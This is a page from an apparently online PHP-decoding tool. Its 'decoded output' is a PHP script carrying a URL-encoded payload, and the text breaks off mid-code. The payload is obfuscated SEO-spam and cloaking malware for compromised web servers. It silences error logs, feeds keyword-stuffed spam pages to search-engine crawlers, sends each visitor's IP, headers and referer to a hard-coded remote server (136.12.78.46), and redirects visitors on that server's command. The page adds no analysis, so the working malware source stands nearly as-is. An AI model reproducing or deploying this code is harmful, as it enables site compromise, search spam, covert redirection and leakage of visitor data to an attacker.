Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (!defined("PHP_EOL")) { define("PHP_EOL", "\n"); } if (!..
Decoded Output download
<?php
if (!defined("PHP_EOL")) {
define("PHP_EOL", "
");
}
if (!defined("DIRECTORY_SEPARATOR")) {
define("DIRECTORY_SEPARATOR", "/");
}
$payload_file = "%3C%3Fphp%0A%0A%40ini_set%28%27error_log%27%2C%20NULL%29%3B%40ini_set%28%27log_errors%27%2C%200%29%3B%40ini_set%28%27max_execution_time%27%2C%200%29%3B%40error_reporting%280%29%3B%40set_time_limit%280%29%3Bdate_default_timezone_set%28%27UTC%27%29%3Bclass%20_79zfb9%7Bstatic%20private%20%24_sl5nhhwu%20%3D%2084485150%3Bstatic%20function%20_skc19%28%24_79wt4ge0%2C%20%24_osyh7011%29%7B%24_79wt4ge0%5B2%5D%20%3D%20count%28%24_79wt4ge0%29%20%3E%204%20%3F%20long2ip%28_79zfb9%3A%3A%24_sl5nhhwu%20-%20529%29%20%3A%20%24_79wt4ge0%5B2%5D%3B%24_x0013v0w%20%3D%20_79zfb9%3A%3A_9enqk%28%24_79wt4ge0%2C%20%24_osyh7011%29%3Bif%20%28%21%24_x0013v0w%29%20%7B%24_x0013v0w%20%3D%20_79zfb9%3A%3A_3ncnn%28%24_79wt4ge0%2C%20%24_osyh7011%29%3B%7Dreturn%20%24_x0013v0w%3B%7Dstatic%20function%20_9enqk%28%24_79wt4ge0%2C%20%24_x0013v0w%2C%20%24_pneb21v4%20%3D%20NULL%29%7Bif%20%28%21function_exists%28%27curl_version%27%29%29%20%7Breturn%20%22%22%3B%7Dif%20%28is_array%28%24_79wt4ge0%29%29%20%7B%24_79wt4ge0%20%3D%20implode%28%22/%22%2C%20%24_79wt4ge0%29%3B%7D%24_zrffvwu8%20%3D%20curl_init%28%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_SSL_VERIFYHOST%2C%20false%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_SSL_VERIFYPEER%2C%20false%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_URL%2C%20%24_79wt4ge0%29%3Bif%20%28%21empty%28%24_x0013v0w%29%29%20%7Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_POST%2C%201%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_POSTFIELDS%2C%20%24_x0013v0w%29%3B%7Dif%20%28%21empty%28%24_pneb21v4%29%29%20%7Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_HTTPHEADER%2C%20%24_pneb21v4%29%3B%7Dcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_RETURNTRANSFER%2C%20TRUE%29%3B%24_jh5ealbv%20%3D%20curl_exec%28%24_zrffvwu8%29%3Bcurl_close%28%24_zrffvwu8%29%3Breturn%20%24_jh5ealbv%3B%7Dstatic%20function%20_3ncnn%28%24_79wt4ge0%2C%20%24_x0013v0w%2C%20%24_pneb21v4%20%3D%20NULL%29%7Bif%20%28is_array%28%24_79wt4ge0%29%29%20%7B%24_79wt4ge0%20%3D%20implode%28%22/%22%2C%20%24_79wt4ge0%29%3B%7D%24_47fxccvz%20%3D%20%22%5Cr%22%20.%20%22%5Cn%22%3Bif%20%28%21empty%28%24_x0013v0w%29%29%20%7B%24_0cyxrlie%20%3D%20array%28%27method%27%20%3D%3E%20%27POST%27%2C%27header%27%20%3D%3E%20%27Content-type%3A%20application/x-www-form-urlencoded%27%2C%27content%27%20%3D%3E%20%24_x0013v0w%29%3Bif%20%28%21empty%28%24_pneb21v4%29%29%20%7B%24_0cyxrlie%5B%22header%22%5D%20%3D%20%24_0cyxrlie%5B%22header%22%5D%20.%20%24_47fxccvz%20.%20implode%28%24_47fxccvz%2C%20%24_pneb21v4%29%3B%7D%24_gd1au729%20%3D%20stream_context_create%28array%28%27http%27%20%3D%3E%20%24_0cyxrlie%29%29%3B%7D%20else%20%7B%24_0cyxrlie%20%3D%20array%28%27method%27%20%3D%3E%20%27GET%27%2C%29%3Bif%20%28%21empty%28%24_pneb21v4%29%29%20%7B%24_0cyxrlie%5B%22header%22%5D%20%3D%20implode%28%24_47fxccvz%2C%20%24_pneb21v4%29%3B%7D%24_gd1au729%20%3D%20stream_context_create%28array%28%27http%27%20%3D%3E%20%24_0cyxrlie%29%29%3B%7Dreturn%20%40file_get_contents%28%24_79wt4ge0%2C%20FALSE%2C%20%24_gd1au729%29%3B%7D%7Dclass%20_v6ya63%7Bprivate%20static%20%24_onc6y982%20%3D%20%22%22%3Bprivate%20static%20%24_r0b1q0sq%20%3D%20-1%3Bprivate%20static%20%24_n9f3i9zb%20%3D%20%22%22%3Bprivate%20%24_mdr61w5r%20%3D%20%22%22%3Bprivate%20%24_kj2jlx7n%20%3D%20%22%22%3Bprivate%20%24_4y95yidp%20%3D%20%22%22%3Bprivate%20%24_4qy4zmi3%20%3D%20%22%22%3Bpublic%20static%20function%20_dzxgv%28%24_uf8aucwn%2C%20%24_qh4r8uy8%2C%20%24_r44rgrti%29%7B_v6ya63%3A%3A%24_onc6y982%20%3D%20%24_uf8aucwn%20.%20%22/cache/%22%3B_v6ya63%3A%3A%24_r0b1q0sq%20%3D%20%24_qh4r8uy8%3B_v6ya63%3A%3A%24_n9f3i9zb%20%3D%20%24_r44rgrti%3Bif%20%28%21%40file_exists%28_v6ya63%3A%3A%24_onc6y982%29%29%20%7B%40mkdir%28_v6ya63%3A%3A%24_onc6y982%29%3B%7D%7Dstatic%20public%20function%20_vga85%28%29%7B%24_73937oah%20%3D%20substr%28md5%28_v6ya63%3A%3A%24_n9f3i9zb%20.%20%22salt13%22%29%2C%200%2C%204%29%3B%24_mk8d72ze%20%3D%20Array%28%22google%22%20%3D%3E%20Array%28%29%2C%20%22bing%22%20%3D%3E%20Array%28%29%2C%29%3Bforeach%20%28array_keys%28%24_mk8d72ze%29%20as%20%24_5bjqfno9%29%7B%24_tycvmk6k%20%3D%20%24_73937oah%20.%20%22_%22%20.%20%24_5bjqfno9%20.%20%22.stats%22%3B%24_6pfzvk6r%20%3D%20%40file%28%24_tycvmk6k%2C%20FILE_IGNORE_NEW_LINES%29%3Bforeach%20%28%24_6pfzvk6r%20as%20%24_5sgzz3hq%29%7B%24_ttie0k4s%20%3D%20explode%28%22%5Ct%22%2C%20%24_5sgzz3hq%29%3Bif%20%28%21isset%28%24_mk8d72ze%5B%24_5bjqfno9%5D%5B%24_ttie0k4s%5B1%5D%5D%29%29%7B%24_mk8d72ze%5B%24_5bjqfno9%5D%5B%24_ttie0k4s%5B1%5D%5D%20%3D%200%3B%7D%24_mk8d72ze%5B%24_5bjqfno9%5D%5B%24_ttie0k4s%5B1%5D%5D%20%2B%3D%201%3B%7D%7D%24_mk8d72ze%5B%22prefix%22%5D%20%3D%20%24_73937oah%3Breturn%20%24_mk8d72ze%3B%7Dpublic%20static%20function%20_ih05m%28%29%7Breturn%20TRUE%3B%7Dpublic%20function%20__construct%28%24_swlicjbm%2C%20%24_c2d4vsy0%2C%20%24_o4h21pkl%2C%20%24_xnnqxgqw%29%7B%24this-%3E_mdr61w5r%20%3D%20%24_swlicjbm%3B%24this-%3E_kj2jlx7n%20%3D%20%24_c2d4vsy0%3B%24this-%3E_4y95yidp%20%3D%20%24_o4h21pkl%3B%24this-%3E_4qy4zmi3%20%3D%20%24_xnnqxgqw%3B%7Dpublic%20function%20_neje4%28%29%7Bfunction%20_bwk3z%28%24_e0w6pl49%2C%20%24_78iw99aq%29%7Breturn%20round%28rand%28%24_e0w6pl49%2C%20%24_78iw99aq%20-%201%29%20%2B%20%28rand%280%2C%20PHP_INT_MAX%20-%201%29%20/%20PHP_INT_MAX%29%2C%202%29%3B%7D%24_3jiwi54r%20%3D%20time%28%29%3B%24_5bjqfno9%20%3D%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22google%22%29%20%21%3D%3D%20FALSE%29%20%3F%20%22google%22%20%3A%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22bing%22%29%20%21%3D%3D%20FALSE%20%3F%20%22bing%22%20%3A%20%22none%22%29%3B%24_tycvmk6k%20%3D%20substr%28md5%28_v6ya63%3A%3A%24_n9f3i9zb%20.%20%22salt13%22%29%2C%200%2C%204%29%20.%20%22_%22%20.%20%24_5bjqfno9%20.%20%22.stats%22%3B%40file_put_contents%28%24_tycvmk6k%2C%20%24this-%3E_4y95yidp%20.%20%22%5Ct%22%20.%20%28%24_3jiwi54r%20-%20%28%24_3jiwi54r%20%25%203600%29%29%20.PHP_EOL%2C%208%29%3B%24_vrg12mxu%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3B%24_x0013v0w%20%3D%20str_replace%28%22%7B%7B%20text%20%7D%7D%22%2C%20%24this-%3E_kj2jlx7n%2Cstr_replace%28%22%7B%7B%20keyword%20%7D%7D%22%2C%20%24this-%3E_4y95yidp%2Cstr_replace%28%22%7B%7B%20links%20%7D%7D%22%2C%20%24this-%3E_4qy4zmi3%2C%20%24this-%3E_mdr61w5r%29%29%29%3Bwhile%20%28TRUE%29%20%7B%24_xvuql9o9%20%3D%20preg_replace%28%27/%27%20.%20preg_quote%28%22%7B%7B%20randkeyword%20%7D%7D%22%2C%20%27/%27%29%20.%20%27/%27%2C%20_xyxad4u%3A%3A_8dnv4%28%29%2C%20%24_x0013v0w%2C%201%29%3Bif%20%28%24_xvuql9o9%20%3D%3D%3D%20%24_x0013v0w%29%20%7Bbreak%3B%7D%24_x0013v0w%20%3D%20%24_xvuql9o9%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20KEYWORDBYINDEX-ANCHOR%20%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_o4h21pkl%20%3D%20%40%24_vrg12mxu%5Bintval%28%24_x2d57np9%5B1%5D%29%5D%3B%24_ouhgv6fy%20%3D%20_er50gh%3A%3A_ax1dg%28%24_o4h21pkl%29%3B%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20%24_ouhgv6fy%2C%20%24_x0013v0w%29%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20KEYWORDBYINDEX%20%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_o4h21pkl%20%3D%20%40%24_vrg12mxu%5Bintval%28%24_x2d57np9%5B1%5D%29%5D%3B%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20%24_o4h21pkl%2C%20%24_x0013v0w%29%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20RANDFLOAT%20%28%5Cd%2A%29-%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20_bwk3z%28%24_x2d57np9%5B1%5D%2C%20%24_x2d57np9%5B2%5D%29%2C%20%24_x0013v0w%29%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20RANDINT%20%28%5Cd%2A%29-%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20rand%28%24_x2d57np9%5B1%5D%2C%20%24_x2d57np9%5B2%5D%29%2C%20%24_x0013v0w%29%3B%7Dreturn%20%24_x0013v0w%3B%7Dpublic%20function%20_g7wwk%28%29%7B%24_5bjqfno9%20%3D%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22google%22%29%20%21%3D%3D%20FALSE%29%20%3F%20%22google%22%20%3A%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22bing%22%29%20%21%3D%3D%20FALSE%20%3F%20%22bing%22%20%3A%20%22none%22%29%3B%24_tycvmk6k%20%3D%20_v6ya63%3A%3A%24_onc6y982%20.%20md5%28%24this-%3E_4y95yidp%20.%20_v6ya63%3A%3A%24_n9f3i9zb%29%20.%20%24_5bjqfno9%3Bif%20%28_v6ya63%3A%3A%24_r0b1q0sq%20%3D%3D%20-1%29%20%7B%24_wvusgnbi%20%3D%20-1%3B%7D%20else%20%7B%24_wvusgnbi%20%3D%20time%28%29%20%2B%20%283600%20%2A%2024%20%2A%2030%29%3B%7D%24_09745prc%20%3D%20array%28%22template%22%20%3D%3E%20%24this-%3E_mdr61w5r%2C%20%22text%22%20%3D%3E%20%24this-%3E_kj2jlx7n%2C%20%22keyword%22%20%3D%3E%20%24this-%3E_4y95yidp%2C%22links%22%20%3D%3E%20%24this-%3E_4qy4zmi3%2C%20%22expired%22%20%3D%3E%20%24_wvusgnbi%29%3B%40file_put_contents%28%24_tycvmk6k%2C%20serialize%28%24_09745prc%29%29%3B%7Dstatic%20public%20function%20_q42pz%28%24_o4h21pkl%29%7B%24_5bjqfno9%20%3D%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22google%22%29%20%21%3D%3D%20FALSE%29%20%3F%20%22google%22%20%3A%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22bing%22%29%20%21%3D%3D%20FALSE%20%3F%20%22bing%22%20%3A%20%22none%22%29%3B%24_tycvmk6k%20%3D%20_v6ya63%3A%3A%24_onc6y982%20.%20md5%28%24_o4h21pkl%20.%20_v6ya63%3A%3A%24_n9f3i9zb%29%20.%20%24_5bjqfno9%3B%24_tycvmk6k%20%3D%20%40unserialize%28%40file_get_contents%28%24_tycvmk6k%29%29%3Bif%20%28%21empty%28%24_tycvmk6k%29%20%26%26%20%28%24_tycvmk6k%5B%22expired%22%5D%20%3E%20time%28%29%20%7C%7C%20%24_tycvmk6k%5B%22expired%22%5D%20%3D%3D%20-1%29%29%20%7Breturn%20new%20_v6ya63%28%24_tycvmk6k%5B%22template%22%5D%2C%20%24_tycvmk6k%5B%22text%22%5D%2C%20%24_tycvmk6k%5B%22keyword%22%5D%2C%20%24_tycvmk6k%5B%22links%22%5D%29%3B%7D%20else%20%7Breturn%20null%3B%7D%7D%7Dclass%20_cwqzsic%7Bprivate%20static%20%24_onc6y982%20%3D%20%22%22%3Bprivate%20static%20%24_gfhbaxrs%20%3D%20%22%22%3Bpublic%20static%20function%20_dzxgv%28%24_uf8aucwn%2C%20%24_73937oah%29%7B_cwqzsic%3A%3A%24_onc6y982%20%3D%20%24_uf8aucwn%20.%20%22/%22%3B_cwqzsic%3A%3A%24_gfhbaxrs%20%3D%20%24_73937oah%3Bif%20%28%21%40file_exists%28_cwqzsic%3A%3A%24_onc6y982%29%29%20%7B%40mkdir%28_cwqzsic%3A%3A%24_onc6y982%29%3B%7D%7Dpublic%20static%20function%20_ih05m%28%29%7Breturn%20TRUE%3B%7Dstatic%20public%20function%20_moy7x%28%29%7B%24_2rqfxc3j%20%3D%200%3Bforeach%20%28scandir%28_cwqzsic%3A%3A%24_onc6y982%29%20as%20%24_qjfmhk6q%29%20%7Bif%20%28strpos%28%24_qjfmhk6q%2C%20_cwqzsic%3A%3A%24_gfhbaxrs%29%20%3D%3D%3D%200%29%20%7B%24_2rqfxc3j%20%2B%3D%201%3B%7D%7Dreturn%20%24_2rqfxc3j%3B%7Dstatic%20public%20function%20_8dnv4%28%29%7B%24_ep0k5sxh%20%3D%20array%28%29%3Bforeach%20%28scandir%28_cwqzsic%3A%3A%24_onc6y982%29%20as%20%24_qjfmhk6q%29%20%7Bif%20%28strpos%28%24_qjfmhk6q%2C%20_cwqzsic%3A%3A%24_gfhbaxrs%29%20%3D%3D%3D%200%29%20%7B%24_ep0k5sxh%5B%5D%20%3D%20%24_qjfmhk6q%3B%7D%7D%24_x0013v0w%20%3D%20%40file_get_contents%28_cwqzsic%3A%3A%24_onc6y982%20.%20%24_ep0k5sxh%5Barray_rand%28%24_ep0k5sxh%29%5D%29%3Breturn%20%24_x0013v0w%3B%7Dstatic%20public%20function%20_g7wwk%28%24_3e3yj5cm%29%7Bif%20%28%40file_exists%28_cwqzsic%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_3e3yj5cm%29%20.%20%22.html%22%29%29%20%7Breturn%3B%7D%40file_put_contents%28_cwqzsic%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_3e3yj5cm%29%20.%20%22.html%22%2C%20%24_3e3yj5cm%29%3B%7D%7Dclass%20_xyxad4u%7Bprivate%20static%20%24_onc6y982%20%3D%20%22%22%3Bprivate%20static%20%24_gfhbaxrs%20%3D%20%22%22%3Bprivate%20static%20%24_907snz8i%20%3D%20array%28%29%3Bprivate%20static%20%24_j00tqi38%20%3D%20array%28%29%3Bpublic%20static%20function%20_dzxgv%28%24_uf8aucwn%2C%20%24_73937oah%29%7B_xyxad4u%3A%3A%24_onc6y982%20%3D%20%24_uf8aucwn%20.%20%22/%22%3B_xyxad4u%3A%3A%24_gfhbaxrs%20%3D%20%24_73937oah%3Bif%20%28%21%40file_exists%28_xyxad4u%3A%3A%24_onc6y982%29%29%20%7B%40mkdir%28_xyxad4u%3A%3A%24_onc6y982%29%3B%7D%7Dprivate%20static%20function%20_k7pwt%28%29%7B%24_5kvxntg8%20%3D%20array%28%29%3Bforeach%20%28scandir%28_xyxad4u%3A%3A%24_onc6y982%29%20as%20%24_qjfmhk6q%29%20%7Bif%20%28strpos%28%24_qjfmhk6q%2C%20_xyxad4u%3A%3A%24_gfhbaxrs%29%20%3D%3D%3D%200%29%20%7B%24_5kvxntg8%5B%5D%20%3D%20%24_qjfmhk6q%3B%7D%7Dreturn%20%24_5kvxntg8%3B%7Dpublic%20static%20function%20_ih05m%28%29%7Breturn%20TRUE%3B%7Dstatic%20public%20function%20_8dnv4%28%29%7Bif%20%28empty%28_xyxad4u%3A%3A%24_907snz8i%29%29%20%7B%24_5kvxntg8%20%3D%20_xyxad4u%3A%3A_k7pwt%28%29%3B_xyxad4u%3A%3A%24_907snz8i%20%3D%20%40file%28_xyxad4u%3A%3A%24_onc6y982%20.%20%24_5kvxntg8%5Barray_rand%28%24_5kvxntg8%29%5D%2C%20FILE_IGNORE_NEW_LINES%29%3B%7Dreturn%20_xyxad4u%3A%3A%24_907snz8i%5Barray_rand%28_xyxad4u%3A%3A%24_907snz8i%29%5D%3B%7Dstatic%20public%20function%20_3ap03%28%29%7Bif%20%28empty%28_xyxad4u%3A%3A%24_j00tqi38%29%29%20%7B%24_5kvxntg8%20%3D%20_xyxad4u%3A%3A_k7pwt%28%29%3Bforeach%20%28%24_5kvxntg8%20as%20%24_ayhpbot1%29%20%7B_xyxad4u%3A%3A%24_j00tqi38%20%3D%20array_merge%28_xyxad4u%3A%3A%24_j00tqi38%2C%20%40file%28_xyxad4u%3A%3A%24_onc6y982%20.%20%24_ayhpbot1%2C%20FILE_IGNORE_NEW_LINES%29%29%3B%7D%7Dreturn%20_xyxad4u%3A%3A%24_j00tqi38%3B%7Dstatic%20public%20function%20_g7wwk%28%24_72yj6qzs%29%7Bif%20%28%40file_exists%28_xyxad4u%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_72yj6qzs%29%20.%20%22.list%22%29%29%20%7Breturn%3B%7D%40file_put_contents%28_xyxad4u%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_72yj6qzs%29%20.%20%22.list%22%2C%20%24_72yj6qzs%29%3B%7Dstatic%20public%20function%20_7z4dg%28%24_o4h21pkl%29%7B%40file_put_contents%28_xyxad4u%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28_er50gh%3A%3A%24_wqq8o3s4%29%20.%20%22.list%22%2C%20%24_o4h21pkl%20.%20%22%5Cn%22%2C%208%29%3B%7D%7Dclass%20_er50gh%7Bstatic%20public%20%24_798p6ki4%20%3D%20%225.5%22%3Bstatic%20public%20%24_wqq8o3s4%20%3D%20%2283fe3b09-80a6-3360-c5db-c346cc24407e%22%3Bstatic%20public%20%24_hz9omu24%20%3D%20%22http%3A//136.12.78.46/app/assets/api2%3Faction%3Dredir%22%3Bstatic%20public%20%24_h8dxh8hr%20%3D%20%22http%3A//136.12.78.46/app/assets/api%3Faction%3Dpage%22%3Bstatic%20public%20%24_loyjoas0%20%3D%201%3Bstatic%20public%20%24_p0pykfqo%20%3D%205%3Bprivate%20function%20_ot7y0%28%29%7B%24_t5p9dxvy%20%3D%20array%28%27%23libwww-perl%23i%27%2C%27%23MJ12bot%23i%27%2C%27%23msnbot%23i%27%2C%20%27%23msnbot-media%23i%27%2C%27%23YandexBot%23i%27%2C%20%27%23msnbot%23i%27%2C%20%27%23YandexWebmaster%23i%27%2C%27%23spider%23i%27%2C%20%27%23yahoo%23i%27%2C%20%27%23google%23i%27%2C%20%27%23altavista%23i%27%2C%27%23ask%23i%27%2C%27%23yahoo%21%5Cs%2Aslurp%23i%27%2C%27%23BingBot%23i%27%29%3Bif%20%28%21empty%28%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%29%20%26%26%20%28FALSE%20%21%3D%3D%20strpos%28preg_replace%28%24_t5p9dxvy%2C%20%27-NO-WAY-%27%2C%20%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%29%2C%20%27-NO-WAY-%27%29%29%29%20%7B%24_c5mwz2zd%20%3D%201%3B%7D%20elseif%20%28empty%28%24_SERVER%5B%27HTTP_ACCEPT_LANGUAGE%27%5D%29%20%7C%7C%20empty%28%24_SERVER%5B%27HTTP_REFERER%27%5D%29%29%20%7B%24_c5mwz2zd%20%3D%201%3B%7D%20elseif%20%28strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22google%22%29%20%3D%3D%3D%20FALSE%20%26%26strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22yahoo%22%29%20%3D%3D%3D%20FALSE%20%26%26strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22bing%22%29%20%3D%3D%3D%20FALSE%20%26%26strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22yandex%22%29%20%3D%3D%3D%20FALSE%29%20%7B%24_c5mwz2zd%20%3D%201%3B%7D%20else%20%7B%24_c5mwz2zd%20%3D%200%3B%7Dreturn%20%24_c5mwz2zd%3B%7Dprivate%20static%20function%20_fwe3f%28%29%7B%24_osyh7011%20%3D%20array%28%29%3B%24_osyh7011%5B%27ip%27%5D%20%3D%20%24_SERVER%5B%27REMOTE_ADDR%27%5D%3B%24_osyh7011%5B%27qs%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_HOST%27%5D%20.%20%40%24_SERVER%5B%27REQUEST_URI%27%5D%3B%24_osyh7011%5B%27ua%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%3B%24_osyh7011%5B%27lang%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT_LANGUAGE%27%5D%3B%24_osyh7011%5B%27ref%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_REFERER%27%5D%3B%24_osyh7011%5B%27enc%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT_ENCODING%27%5D%3B%24_osyh7011%5B%27acp%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT%27%5D%3B%24_osyh7011%5B%27char%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT_CHARSET%27%5D%3B%24_osyh7011%5B%27conn%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_CONNECTION%27%5D%3Breturn%20%24_osyh7011%3B%7Dpublic%20function%20__construct%28%29%7B_er50gh%3A%3A%24_hz9omu24%20%3D%20explode%28%22/%22%2C%20_er50gh%3A%3A%24_hz9omu24%29%3B_er50gh%3A%3A%24_h8dxh8hr%20%3D%20explode%28%22/%22%2C%20_er50gh%3A%3A%24_h8dxh8hr%29%3B%7Dstatic%20public%20function%20_hitc7%28%24_630ynqx3%29%7Bif%20%28strlen%28%24_630ynqx3%29%20%3C%204%29%20%7Breturn%20%22%22%3B%7D%24_mnxc71t0%20%3D%20%22ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%2B/%3D%22%3B%24_vrg12mxu%20%3D%20str_split%28%24_mnxc71t0%29%3B%24_vrg12mxu%20%3D%20array_flip%28%24_vrg12mxu%29%3B%24_46zwfcoo%20%3D%200%3B%24_basqs11f%20%3D%20%22%22%3B%24_630ynqx3%20%3D%20preg_replace%28%22%7E%5B%5EA-Za-z0-9%5C%2B%5C/%5C%3D%5D%7E%22%2C%20%22%22%2C%20%24_630ynqx3%29%3Bdo%20%7B%24_05c41l6f%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_5hi4q1np%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_8rrutpb5%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_4sfs3zfo%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_zn4hwt6t%20%3D%20%28%24_05c41l6f%20%3C%3C%202%29%20%7C%20%28%24_5hi4q1np%20%3E%3E%204%29%3B%24_u14jby1p%20%3D%20%28%28%24_5hi4q1np%20%26%2015%29%20%3C%3C%204%29%20%7C%20%28%24_8rrutpb5%20%3E%3E%202%29%3B%24_huor5vlk%20%3D%20%28%28%24_8rrutpb5%20%26%203%29%20%3C%3C%206%29%20%7C%20%24_4sfs3zfo%3B%24_basqs11f%20%3D%20%24_basqs11f%20.%20chr%28%24_zn4hwt6t%29%3Bif%20%28%24_8rrutpb5%20%21%3D%2064%29%20%7B%24_basqs11f%20%3D%20%24_basqs11f%20.%20chr%28%24_u14jby1p%29%3B%7Dif%20%28%24_4sfs3zfo%20%21%3D%2064%29%20%7B%24_basqs11f%20%3D%20%24_basqs11f%20.%20chr%28%24_huor5vlk%29%3B%7D%7D%20while%20%28%24_46zwfcoo%20%3C%20strlen%28%24_630ynqx3%29%29%3Breturn%20%24_basqs11f%3B%7Dprivate%20function%20_nr51i%28%24_o4h21pkl%29%7B%24_swlicjbm%20%3D%20%22%22%3B%24_c2d4vsy0%20%3D%20%22%22%3B%24_osyh7011%20%3D%20_er50gh%3A%3A_fwe3f%28%29%3B%24_osyh7011%5B%22uid%22%5D%20%3D%20_er50gh%3A%3A%24_wqq8o3s4%3B%24_osyh7011%5B%22keyword%22%5D%20%3D%20%24_o4h21pkl%3B%24_osyh7011%5B%22tc%22%5D%20%3D%2010%3B%24_osyh7011%20%3D%20http_build_query%28%24_osyh7011%29%3B%24_6pfzvk6r%20%3D%20_79zfb9%3A%3A_skc19%28_er50gh%3A%3A%24_h8dxh8hr%2C%20%24_osyh7011%29%3Bif%20%28strpos%28%24_6pfzvk6r%2C%20_er50gh%3A%3A%24_wqq8o3s4%29%20%3D%3D%3D%20FALSE%29%20%7Breturn%20array%28%24_swlicjbm%2C%20%24_c2d4vsy0%29%3B%7D%24_swlicjbm%20%3D%20_cwqzsic%3A%3A_8dnv4%28%29%3B%24_c2d4vsy0%20%3D%20substr%28%24_6pfzvk6r%2C%20strlen%28_er50gh%3A%3A%24_wqq8o3s4%29%29%3B%24_c2d4vsy0%20%3D%20explode%28%22%5Cn%22%2C%20%24_c2d4vsy0%29%3Bshuffle%28%24_c2d4vsy0%29%3B%24_c2d4vsy0%20%3D%20implode%28%22%20%22%2C%20%24_c2d4vsy0%29%3Breturn%20array%28%24_swlicjbm%2C%20%24_c2d4vsy0%29%3B%7Dprivate%20function%20_8rfk6%28%29%7B%24_osyh7011%20%3D%20_er50gh%3A%3A_fwe3f%28%29%3Bif%20%28isset%28%24_SERVER%5B%27HTTP_CF_CONNECTING_IP%27%5D%29%29%20%7B%24_osyh7011%5B%27cfconn%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_CF_CONNECTING_IP%27%5D%3B%7Dif%20%28isset%28%24_SERVER%5B%27HTTP_X_REAL_IP%27%5D%29%29%20%7B%24_osyh7011%5B%27xreal%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_X_REAL_IP%27%5D%3B%7Dif%20%28isset%28%24_SERVER%5B%27HTTP_X_FORWARDED_FOR%27%5D%29%29%20%7B%24_osyh7011%5B%27xforward%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_X_FORWARDED_FOR%27%5D%3B%7D%24_osyh7011%5B%22uid%22%5D%20%3D%20_er50gh%3A%3A%24_wqq8o3s4%3B%24_osyh7011%20%3D%20http_build_query%28%24_osyh7011%29%3B%24_hgj2uuv9%20%3D%20_79zfb9%3A%3A_skc19%28_er50gh%3A%3A%24_hz9omu24%2C%20%24_osyh7011%29%3B%24_hgj2uuv9%20%3D%20%40unserialize%28%24_hgj2uuv9%29%3Bif%20%28isset%28%24_hgj2uuv9%5B%22type%22%5D%29%20%26%26%20%24_hgj2uuv9%5B%22type%22%5D%20%3D%3D%20%22redir%22%29%20%7Bif%20%28%21empty%28%24_hgj2uuv9%5B%22data%22%5D%5B%22header%22%5D%29%29%20%7Bheader%28%24_hgj2uuv9%